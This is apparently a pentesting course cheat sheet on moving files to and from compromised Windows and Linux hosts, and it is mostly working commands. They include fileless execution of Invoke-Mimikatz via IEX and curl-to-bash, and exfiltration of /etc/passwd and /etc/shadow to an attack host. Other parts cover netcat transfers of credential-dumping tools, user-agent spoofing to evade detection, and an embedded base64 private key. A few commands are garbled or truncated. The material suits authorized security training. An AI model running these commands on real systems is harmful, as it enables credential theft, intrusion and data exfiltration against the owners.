Trasfer File Methodology for Pentesting

Windows File Transfer

Encode SSH Key to Base64

[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFsd0FBQUFkemMyZ3RjbgpOaEFBQUFBd0VBQVFBQUFJRUF6WjE0dzV1NU9laHR5SUJQSkg3Tm9Yai84YXNHRUcxcHpJbmtiN2hIMldRVGpMQWRYZE9kCno3YjJtd0tiSW56VmtTM1BUR3ZseGhDVkRRUmpBYzloQ3k1Q0duWnlLM3U2TjQ3RFhURFY0YUtkcXl0UTFUQXZZUHQwWm8KVWh2bEo5YUgxclgzVHUxM2FRWUNQTVdMc2JOV2tLWFJzSk11dTJONkJoRHVmQThhc0FBQUlRRGJXa3p3MjFwTThBQUFBSApjM05vTFhKellRQUFBSUVBeloxNHc1dTVPZWh0eUlCUEpIN05vWGovOGFzR0VHMXB6SW5rYjdoSDJXUVRqTEFkWGRPZHo3CmIybXdLYkluelZrUzNQVEd2bHhoQ1ZEUVJqQWM5aEN5NUNHblp5SzN1Nk40N0RYVERWNGFLZHF5dFExVEF2WVB0MFpvVWgKdmxKOWFIMXJYM1R1MTNhUVlDUE1XTHNiTldrS1hSc0pNdXUyTjZCaER1ZkE4YXNBQUFBREFRQUJBQUFBZ0NjQ28zRHBVSwpFdCtmWTZjY21JelZhL2NEL1hwTlRsRFZlaktkWVFib0ZPUFc5SjBxaUVoOEpyQWlxeXVlQTNNd1hTWFN3d3BHMkpvOTNPCllVSnNxQXB4NlBxbFF6K3hKNjZEdzl5RWF1RTA5OXpodEtpK0pvMkttVzJzVENkbm92Y3BiK3Q3S2lPcHlwYndFZ0dJWVkKZW9VT2hENVJyY2s5Q3J2TlFBem9BeEFBQUFRUUNGKzBtTXJraklXL09lc3lJRC9JQzJNRGNuNTI0S2NORUZ0NUk5b0ZJMApDcmdYNmNoSlNiVWJsVXFqVEx4NmIyblNmSlVWS3pUMXRCVk1tWEZ4Vit0K0FBQUFRUURzbGZwMnJzVTdtaVMyQnhXWjBNCjY2OEhxblp1SWc3WjVLUnFrK1hqWkdqbHVJMkxjalRKZEd4Z0VBanhuZEJqa0F0MExlOFphbUt5blV2aGU3ekkzL0FBQUEKUVFEZWZPSVFNZnQ0R1NtaERreWJtbG1IQXRkMUdYVitOQTRGNXQ0UExZYzZOYWRIc0JTWDJWN0liaFA1cS9yVm5tVHJRZApaUkVJTW84NzRMUkJrY0FqUlZBQUFBRkhCc1lXbHVkR1Y0ZEVCamVXSmxjbk53WVdObEFRSURCQVVHCi0tLS0tRU5EIE9QRU5TU0ggUFJJVkFURSBLRVktLS0tLQo="))

Confirming the MD5 Hashes Match

C:\Users\Public\id_rsa -Algorithm md5

Upload

PowerShell Web Downloads

MethodMethod
OpenReadReturns the data from a resource as a Stream.
OpenReadAsyncReturns the data from a resource without blocking the calling thread.
DownloadDataDownloads data from a resource and returns a Byte array.
DownloadDataAsyncDownloads data from a resource and returns a Byte array without blocking the calling thread.
DownloadFileDownloads data from a resource to a local file.
DownloadFileAsyncDownloads data from a resource to a local file without blocking the calling thread.
DownloadStringDownloads a String from a resource and returns a String.
DownloadStringAsyncDownloads a String from a resource without blocking the calling thread.

PowerShell DownloadFile Method We can specify the class name Net.WebClient and the method DownloadFile with the parameters corresponding to the URL of the target file to download and the output file name.

File Download

# Example: (New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')
(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1')

# Example: (New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output File Name>')
(New-Object Net.WebClient).DownloadFileAsync('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1', 'PowerViewAsync.ps1')

PowerShell DownloadString - Fileless Method

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')

IEX also accepts pipeline input.

(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEX

PowerShell Invoke-WebRequest

Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1

Common Errors with PowerShell There may be cases when the Internet Explorer first-launch configuration has not been completed, which prevents the download.

This can be bypassed using the parameter -UseBasicParsing.

Invoke-WebRequest https://<ip>/PowerView.ps1 | IEX

Invoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.

Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | IEX

Another error in PowerShell downloads is related to the SSL/TLS secure channel if the certificate is not trusted. We can bypass that error with the following command:

IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')

Exception calling "DownloadString" with "1" argument(s): "The underlying connection was closed: Could not establish trust
relationship for the SSL/TLS secure channel."

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

SMB Downloads

Create the SMB Server

sudo impacket-smbserver share -smb2support /tmp/smbshare

To download a file from the SMB server to the current working directory, we can use the following command: Copy a File from the SMB Server

copy \\192.168.220.133\share\nc.exe

New versions of Windows block unauthenticated guest access, as we can see in the following command:

copy \\192.168.220.133\share\nc.exe

Create the SMB Server with a Username and Password

sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test

Mount the SMB Server with Username and Password

net use n: \\192.168.220.133\share /user:test test
Note: You can also mount the SMB server if you receive an error when you use `copy filename \\IP\sharename`.

FTP Downloads

Installing the FTP Server Python3 Module - pyftpdlib

sudo python3 -m pyftpdlib --port 21

Transfering Files from an FTP Server Using PowerShell

(New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')

Create a Command File for the FTP Client and Download the Target File

C:\> echo open 192.168.49.128 > ftpcommand.txt
C:\> echo USER anonymous >> ftpcommand.txt
C:\> echo binary >> ftpcommand.txt
C:\> echo GET file.txt >> ftpcommand.txt
C:\> echo bye >> ftpcommand.txt
C:\> ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.49.128
Log in with USER and PASS first.
ftp> USER anonymous

ftp> GET file.txt
ftp> bye

C:\>more file.txt
This is a test file

Download

Encode File Using PowerShell

[Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))

Decode Base64 String in Linux

echo IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBpcyBhIHNhbXBsZSBIT1NUUyBmaWxlIHVzZWQgYnkgTWljcm9zb2Z0IFRDUC9JUCBmb3IgV2luZG93cy4NCiMNCiMgVGhpcyBmaWxlIGNvbnRhaW5zIHRoZSBtYXBwaW5ncyBvZiBJUCBhZGRyZXNzZXMgdG8gaG9zdCBuYW1lcy4gRWFjaA0KIyBlbnRyeSBzaG91bGQgYmUga2VwdCBvbiBhbiBpbmRpdmlkdWFsIGxpbmUuIFRoZSBJUCBhZGRyZXNzIHNob3VsZA0KIyBiZSBwbGFjZWQgaW4gdGhlIGZpcnN0IGNvbHVtbiBmb2xsb3dlZCBieSB0aGUgY29ycmVzcG9uZGluZyBob3N0IG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgaG9zdCBuYW1lIHNob3VsZCBiZSBzZXBhcmF0ZWQgYnkgYXQgbGVhc3Qgb25lDQojIHNwYWNlLg0KIw0KIyBBZGRpdGlvbmFsbHksIGNvbW1lbnRzIChzdWNoIGFzIHRoZXNlKSBtYXkgYmUgaW5zZXJ0ZWQgb24gaW5kaXZpZHVhbA0KIyBsaW5lcyBvciBmb2xsb3dpbmcgdGhlIG1hY2hpbmUgbmFtZSBkZW5vdGVkIGJ5IGEgJyMnIHN5bWJvbC4NCiMNCiMgRm9yIGV4YW1wbGU6DQojDQojICAgICAgMTAyLjU0Ljk0Ljk3ICAgICByaGluby5hY21lLmNvbSAgICAgICAgICAjIHNvdXJjZSBzZXJ2ZXINCiMgICAgICAgMzguMjUuNjMuMTAgICAgIHguYWNtZS5jb20gICAgICAgICAgICAgICMgeCBjbGllbnQgaG9zdA0KDQojIGxvY2FsaG9zdCBuYW1lIHJlc29sdXRpb24gaXMgaGFuZGxlZCB3aXRoaW4gRE5TIGl0c2VsZi4NCiMJMTI3LjAuMC4xICAgICAgIGxvY2FsaG9zdA0KIwk6OjEgICAgICAgICAgICAgbG9jYWxob3N0DQo= | base64 -d > hosts
md5sum hosts 

PowerShell Web Uploads

Installing a Configured WebServer with Upload

pip3 install uploadserver
python3 -m uploadserver

PowerShell Script to Upload a File to Python Upload Server

PS C:\> IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
PS C:\> Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts

[+] File Uploaded:  C:\Windows\System32\drivers\etc\hosts
[+] FileHash:  5E7241D66FD77E9E8EA866B6278B2373

PowerShell Base64 Web Upload

PS C:\> $b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
PS C:\> Invoke-WebRequest -Uri http://192.168.49.128:8000/ -Method POST -Body $b64

We catch the base64 data with Netcat and use the base64 application with the decode option to convert the string to the file.

nc -lvnp 8000
echo <base64> | base64 -d -w 0 > hosts

SMB Uploads

An alternative is to run SMB over HTTP with WebDav. WebDAV (RFC 4918) is an extension of HTTP, the internet protocol that web browsers and web servers use to communicate with each other. The WebDAV protocol enables a webserver to behave like a fileserver, supporting collaborative content authoring. WebDAV can also use HTTPS.

When you use SMB, it will first attempt to connect using the SMB protocol, and if there’s no SMB share available, it will try to connect using HTTP. In the following Wireshark capture, we attempt to connect to the file share testing3, and because it didn’t find anything with SMB, it uses HTTP.

Configuring WebDav Server Installing WebDav Python modules

sudo pip install wsgidav cheroot

Using the WebDav Python module

sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous 

Connecting to the Webdav Share

dir \\192.168.49.128\DavWWWRoot

Uploading Files using SMB

copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\DavWWWRoot\
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\sharefolder\

FTP Uploads

We can use PowerShell or the FTP client to complete the operation. Before we start our FTP Server using the Python module pyftpdlib, we need to specify the option --write to allow clients to upload files to our attack host.

sudo python3 -m pyftpdlib --port 21 --write

PowerShell Upload File

(New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')

Create a Command File for the FTP Client to Upload a File

C:\> echo open 192.168.49.128 > ftpcommand.txt
C:\> echo USER anonymous >> ftpcommand.txt
C:\> echo binary >> ftpcommand.txt
C:\> echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
C:\> echo bye >> ftpcommand.txt
C:\> ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.49.128

Log in with USER and PASS first.


ftp> USER anonymous
ftp> PUT c:\windows\system32\drivers\etc\hosts
ftp> bye

Linux File Transfer Methods

Download

Base64 Encoding \ Decoding

Check file md5 hash

md5sum <file>

Encode SSH Key to Base65

cat id_rsa | base64 -w 0; echo  

-w 0 to create only one line

Decode file

echo -n '<id_rsa>' | base64 -d > id_rsa

Confirm md5 hashes Match

md5 id_rsa

Wget and Curl (Web Download)

Downloading using wget

wget <url> -O /tmp/<file>

Downloading using curl

curl -o <file> <url>

Fileless Attacks Using Linux

Fileless Download with cURL

curl <url> | bash

Fileless Download with wget

wget -q0- <url> | python3

Download with Bash (dev/tcp)

Connect to the Target Webserver

exec 3<>/dev/tcp/<ip>/<port>

HTTP Get Request

echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3

Print the Response

cat <&3

SSH Downloads

Enabling the SSH Server

sudo systemctl enable ssh

Starting the SSH Server

sudo systemctl start ssh

Checking for SSH Listing Port

netstat -lnpt

Downloading Files Using SCP

scp <user>@<ip>:<file> . 
Note: You can create a temporary user account for file transfers and avoid using your primary credentials or keys on a remote computer.	

Upload

Web Upload

As mentioned in the Windows File Transfer Methods section, we can use uploadserver, an extended module of the Python HTTP.Server module, which includes a file upload page.

Create Web Server

sudo python3 -m pip install --user uploadserver

Create a Self-Signed Certificate

openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN

Start Web Server

mkdir https && cd https
sudo python3 -m uploadserver 443 --server-certificate /root/server.pem

Upload Multiple File

curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure

Alternative Web File Transfer Method

Creating a Web Server with Python3

python3 -m http.server

Creating a Web Server with Python2.7

python2.7 -m SimpleHTTPServer

Creating a Web Server with PHP

php -S 0.0.0.0:8000

Creating a Web Server with Ruby

ruby -run -ehttpd . -p8000

Download the File from the Target Machine onto the Hosts

wget 192.168.49.128:8000/filetotransfer.txt
Note: When we start a new web server using Python or PHP, it's important to consider that inbound traffic may be blocked. We are transferring a file from our target onto our attack host, but we are not uploading the file.	

SCP Upload

File Upload using SCP

scp /etc/passwd <user>@<ip>:/home/plaintext/
Note: Remember that scp syntax is similar to cp or copy.	

Trasfering File with Code

We can use some Windows default applications, such as cscript and mshta, to execute JavaScript or VBScript code. JavaScript can also run on Linux hosts.

Download

Python

Python2 Download

python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

Python3 Download

python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

PHP

PHP Download with File_get_contents()

php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'

PHP Download with Fopen()

  php -r 'const BUFFER = 1024; $fremote = 
fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'

PHP Download a File and Pipe it to Bash

php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash

Ruby

Ruby Download a File

ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'

Perl

perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'

JavaScript

var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));

Download a File Using JavaScript and cscript.exe

cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1

VBScript

VBScript (“Microsoft Visual Basic Scripting Edition”) is an Active Scripting language developed by Microsoft that is modeled on Visual Basic. VBScript has been installed by default in every desktop release of Microsoft Windows since Windows 98.

dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send

with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile WScript.Arguments.Item(1), 2
end with

Download a File Using VBScript and cscript.exe

cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView2.ps1

Upload

Python

Upload Operations using Python3 Starting the Python uploadserver Module

python3 -m uploadserver 

Uploading a File Using a Python One-liner

python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'

Let’s divide this one-liner into multiple lines to understand each piece better.

# To use the requests function, we need to import the module first.
import requests 

# Define the target URL where we will upload the file.
URL = "http://192.168.49.128:8000/upload"

# Define the file we want to read, open it and save it in a variable.
file = open("/etc/passwd","rb")

# Use a requests POST request to upload the file. 
r = requests.post(url,files={"files":file})

Miscellaneous File Trasfer Methods

Netcat

File Transfer with Netcat and Ncat

# Example using Original Netcat
nc -l -p 8000 > SharpKatz.exe

Ncat - Compromised Machine - Listening on Port 8000

# Example using Ncat
ncat -l -p 8000 --recv-only > SharpKatz.exe

Netcat - Attack Host - Sending File to Compromised machine

wget -q https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_x64/SharpKatz.exe

# Example using Original Netcat
nc -q 0 192.168.49.128 8000 < SharpKatz.exe

Ncat - Attack Host - Sending File to Compromised machine

wget -q https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_x64/SharpKatz.exe

# Example using Ncat
ncat --send-only 192.168.49.128 8000 < SharpKatz.exe

Attack Host - Sending File as Input to Netcat

# Example using Original Netcat

sudo nc -l -p 443 -q 0 < SharpKatz.exe

Compromised Machine Connect to Netcat to Receive the File

# Example using Original Netcat

nc 192.168.49.128 443 > SharpKatz.exe

Attack Host - Sending File as Input to Ncat

# Example using Ncat

sudo ncat -l -p 443 --send-only < SharpKatz.exe

Compromised Machine Connect to Ncat to Receive the File

# Example using Ncat

ncat 192.168.49.128 443 --recv-only > SharpKatz.exe

NetCat - Sending File as Input to Netcat

# Example using Original Netcat

sudo nc -l -p 443 -q 0 < SharpKatz.exe

Ncat - Sending File as Input to Netcat

# Example using Ncat

sudo ncat -l -p 443 --send-only < SharpKatz.exe

Compromised Machine Connecting to Netcat Using /dev/tcp to Receive the File

cat < /dev/tcp/192.168.49.128/443 > SharpKatz.exe

PowerShell

From DC01 - Confirm WinRM port TCP 5985 is Open on DATABASE01.

whoami

ad\administrator

hostname

DC01
Test-NetConnection -ComputerName DATABASE01 -Port 5985

ComputerName     : DATABASE01
RemoteAddress    : 192.168.1.101
RemotePort       : 5985
InterfaceAlias   : Ethernet0
SourceAddress    : 192.168.1.100
TcpTestSucceeded : True

Because this session already has privileges over DATABASE01, we don’t need to specify credentials. In the example below, a session is created to the remote computer named DATABASE01 and stores the results in the variable named $Session.

Create a PowerShell Remoting Session to DATABASE01

Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\

Copy DATABASE.txt from DATABASE01 Session to our Localhost

Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session

RDP

If we are connected from Linux, we can use xfreerdp or rdesktop. At the time of writing, xfreerdp and rdesktop allow copy from our target machine to the RDP session, but there may be scenarios where this may not work as expected.

As an alternative to copy and paste, we can mount a local resource on the target RDP server. rdesktop or xfreerdp can be used to expose a local folder in the remote RDP session.

Mounting a Linux Folder Using rdesktop

rdesktop 10.10.10.132 -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/user/rdesktop/files'

Mounting a Linux Folder Using xfreerdp

xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer

To access the directory, we can connect to \\tsclient\, allowing us to transfer files to and from the RDP session.

Alternatively, from Windows, the natie mstsc.exe remote desktop client can be used.

Note: This drive is not accessible to any other users logged on to the target computer, even if they manage to hijack the RDP session.

Catching Files over HTTP/S

Nginx - Enabling PUT When allowing HTTP uploads, it is critical to be 100% positive that users cannot upload web shells and execute them. Apache makes it easy to shoot ourselves in the foot with this, as the PHP module loves to execute anything ending in PHP. Configuring Nginx to use PHP is nowhere near as simple.

Create a Directory to Handle Uploaded Files

sudo mkdir -p /var/www/uploads/SecretUploadDirectory

Change the Owner to www-data

sudo chown -R www-data:www-data /var/www/uploads/SecretUploadDirectory

Create Nginx Configuration File

server {
    listen 9001;
    
    location /SecretUploadDirectory/ {
        root    /var/www/uploads;
        dav_methods PUT;
    }
}

Symlink our Site to the sites-enabled Directory

sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/

Start Nginx

sudo systemctl restart nginx.service

If we get any error messages, check /var/log/nginx/error.log. If using Pwnbox, we will see port 80 is already in use.

Verifying Errors

tail -2 `/var/log/nginx/error.log`
ss -lnpt | grep `80`
ps -ef | grep `2811`

Remove NginxDefault Configuration

sudo rm /etc/nginx/sites-enabled/default

Now we can test uploading by using cURL to send a PUT request. In the below example, we will upload the /etc/passwd file to the server and call it users.txt

Upload File Using cURL

curl -T /etc/passwd http://localhost:9001/SecretUploadDirectory/users.txt
tail -1 /var/www/uploads/SecretUploadDirectory/users.txt 

Once we have this working, a good test is to ensure the directory listing is not enabled by navigating to http://localhost/SecretUploadDirectory. By default, with Apache, if we hit a directory without an index file (index.html), it will list all the files. This is bad for our use case of exfilling files because most files are sensitive by nature, and we want to do our best to hide them. Thanks to Nginx being minimal, features like that are not enabled by default.

Living off The Land

The term LOLBins (Living off the Land binaries) came from a Twitter discussion on what to call binaries that an attacker can use to perform actions beyond their original purpose. There are currently two websites that aggregate information on Living off the Land binaries:

Living off the Land binaries can be used to perform functions such as:

  • Download
  • Upload
  • Command Execution
  • File Read
  • File Write
  • Bypasses

Protected File Transfers

File Encryption on Windows

Invoke-AESEncryption.ps1

.EXAMPLE
Invoke-AESEncryption -Mode Encrypt -Key "p@ssw0rd" -Text "Secret Text" 

Description
-----------
Encrypts the string "Secret Test" and outputs a Base64 encoded ciphertext.
 
.EXAMPLE
Invoke-AESEncryption -Mode Decrypt -Key "p@ssw0rd" -Text "LtxcRelxrDLrDB9rBD6JrfX/czKjZ2CUJkrg++kAMfs="
 
Description
-----------
Decrypts the Base64 encoded string "LtxcRelxrDLrDB9rBD6JrfX/czKjZ2CUJkrg++kAMfs=" and outputs plain text.
 
.EXAMPLE
Invoke-AESEncryption -Mode Encrypt -Key "p@ssw0rd" -Path file.bin
 
Description
-----------
Encrypts the file "file.bin" and outputs an encrypted file "file.bin.aes"
 
.EXAMPLE
Invoke-AESEncryption -Mode Decrypt -Key "p@ssw0rd" -Path file.bin.aes
 
Description
-----------
Decrypts the file "file.bin.aes" and outputs an encrypted file "file.bin"
#>
function Invoke-AESEncryption {
    [CmdletBinding()]
    [OutputType([string])]
    Param
    (
        [Parameter(Mandatory = $true)]
        [ValidateSet('Encrypt', 'Decrypt')]
        [String]$Mode,

        [Parameter(Mandatory = $true)]
        [String]$Key,

        [Parameter(Mandatory = $true, ParameterSetName = "CryptText")]
        [String]$Text,

        [Parameter(Mandatory = $true, ParameterSetName = "CryptFile")]
        [String]$Path
    )

    Begin {
        $shaManaged = New-Object System.Security.Cryptography.SHA256Managed
        $aesManaged = New-Object System.Security.Cryptography.AesManaged
        $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
        $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
        $aesManaged.BlockSize = 128
        $aesManaged.KeySize = 256
    }

    Process {
        $aesManaged.Key = $shaManaged.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Key))

        switch ($Mode) {
            'Encrypt' {
                if ($Text) {$plainBytes = [System.Text.Encoding]::UTF8.GetBytes($Text)}
                
                if ($Path) {
                    $File = Get-Item -Path $Path -ErrorAction SilentlyContinue
                    if (!$File.FullName) {
                        Write-Error -Message "File not found!"
                        break
                    }
                    $plainBytes = [System.IO.File]::ReadAllBytes($File.FullName)
                    $outPath = $File.FullName + ".aes"
                }

                $encryptor = $aesManaged.CreateEncryptor()
                $encryptedBytes = $encryptor.TransformFinalBlock($plainBytes, 0, $plainBytes.Length)
                $encryptedBytes = $aesManaged.IV + $encryptedBytes
                $aesManaged.Dispose()

                if ($Text) {return [System.Convert]::ToBase64String($encryptedBytes)}
                
                if ($Path) {
                    [System.IO.File]::WriteAllBytes($outPath, $encryptedBytes)
                    (Get-Item $outPath).LastWriteTime = $File.LastWriteTime
                    return "File encrypted to $outPath"
                }
            }

            'Decrypt' {
                if ($Text) {$cipherBytes = [System.Convert]::FromBase64String($Text)}
                
                if ($Path) {
                    $File = Get-Item -Path $Path -ErrorAction SilentlyContinue
                    if (!$File.FullName) {
                        Write-Error -Message "File not found!"
                        break
                    }
                    $cipherBytes = [System.IO.File]::ReadAllBytes($File.FullName)
                    $outPath = $File.FullName -replace ".aes"
                }

                $aesManaged.IV = $cipherBytes[0..15]
                $decryptor = $aesManaged.CreateDecryptor()
                $decryptedBytes = $decryptor.TransformFinalBlock($cipherBytes, 16, $cipherBytes.Length - 16)
                $aesManaged.Dispose()

                if ($Text) {return [System.Text.Encoding]::UTF8.GetString($decryptedBytes).Trim([char]0)}
                
                if ($Path) {
                    [System.IO.File]::WriteAllBytes($outPath, $decryptedBytes)
                    (Get-Item $outPath).LastWriteTime = $File.LastWriteTime
                    return "File decrypted to $outPath"
                }
            }
        }
    }

    End {
        $shaManaged.Dispose()
        $aesManaged.Dispose()
    }
}

Import Module Invoke-AESEncryption.ps1

Import-Module .\Invoke-AESEncryption.ps1

After the script is imported, it can encrypt strings or files, as shown in the following examples. This command creates an encrypted file with the same name as the encrypted file but with the extension ”.aes.

File Encryption Example

Invoke-AESEncryption -Mode Encrypt -Key "p4ssw0rd" -Path .\scan-results.txt

File Encryption on Linux

To encrypt a file using openssl we can select different ciphers, see OpenSSL man page. Let’s use -aes256 as an example. We can also override the default iterations counts with the option -iter 100000 and add the option -pbkdf2 to use the Password-Based Key Derivation Function 2 algorithm. When we hit enter, we’ll need to provide a password.

Encrypting /etc/passwd with openssl

openssl enc -aes256 -iter 100000 -pbkdf2 -in /etc/passwd -out passwd.enc

Decrypt passwd.enc with openssl

openssl enc -d -aes256 -iter 100000 -pbkdf2 -in passwd.enc -out passwd

Detection

Invoke-WebRequest - Client

Invoke-WebRequest http://10.10.10.32/nc.exe -OutFile "C:\Users\Public\nc.exe"

Invoke-RestMethod http://10.10.10.32/nc.exe -OutFile "C:\Users\Public\nc.exe"

Invoke-WebRequest - Server

GET /nc.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.14393.0

WinHttpRequest - Client

$h=new-object -com WinHttp.WinHttpRequest.5.1;
$h.open('GET','http://10.10.10.32/nc.exe',$false);
$h.send();
iex $h.ResponseText

WinHttpRequest - Server

GET /nc.exe HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Msxml2 - Client

$h=New-Object -ComObject Msxml2.XMLHTTP;
$h.open('GET','http://10.10.10.32/nc.exe',$false);
$h.send();
iex $h.responseText

Msxml2 - Server

GET /nc.exe HTTP/1.1
Accept: */*
Accept-Language: en-us
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E)

Certutil - Client

certutil -urlcache -split -f http://10.10.10.32/nc.exe
certutil -verifyctl -split -f http://10.10.10.32/nc.exe

Certutil - Server

GET /nc.exe HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
User-Agent: Microsoft-CryptoAPI/10.0

BITS - Client

Import-Module bitstransfer;
Start-BitsTransfer 'http://10.10.10.32/nc.exe' $env:temp\t;
$r=gc $env:temp\t;
rm $env:temp\t;
iex $r

BITS - Server

HEAD /nc.exe HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Encoding: identity
User-Agent: Microsoft BITS/7.8

Evading Detection

Listing out User Agents

[Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name,@{label="User Agent";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}} | fl

Invoking Invoke-WebRequest to download nc.exe using a Chrome User Agent:

Request with Chrome User Agent

$UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
Invoke-WebRequest http://10.10.10.32/nc.exe -UserAgent $UserAgent -OutFile "C:\Users\Public\nc.exe"
nc -lvnp 80

LOLBAS / GTFOBins

Transferring File with GfxDownloadWrapper.exe

GfxDownloadWrapper.exe "http://10.10.10.132/mimikatz.exe" "C:\Temp\nc.exe"

CheatSheet

CommandDescription
<a href=”Invoke-WebRequest https:///PowerView.ps1 -OutFile PowerView.ps1”>Invoke-WebRequest https://<snip>/PowerView.ps1 -OutFile PowerView.ps1Download a file with PowerShell
<a href=”IEX (New-Object Net.WebClient).DownloadString(‘https:///Invoke-Mimikatz.ps1’)”>IEX (New-Object Net.WebClient).DownloadString(‘https://<snip>/Invoke-Mimikatz.ps1’)Execute a file in memory using PowerShell
Invoke-WebRequest -Uri http://10.10.10.32:443 -Method POST -Body $b64Upload a file with PowerShell
bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exeDownload a file using Bitsadmin
certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exeDownload a file using Certutil
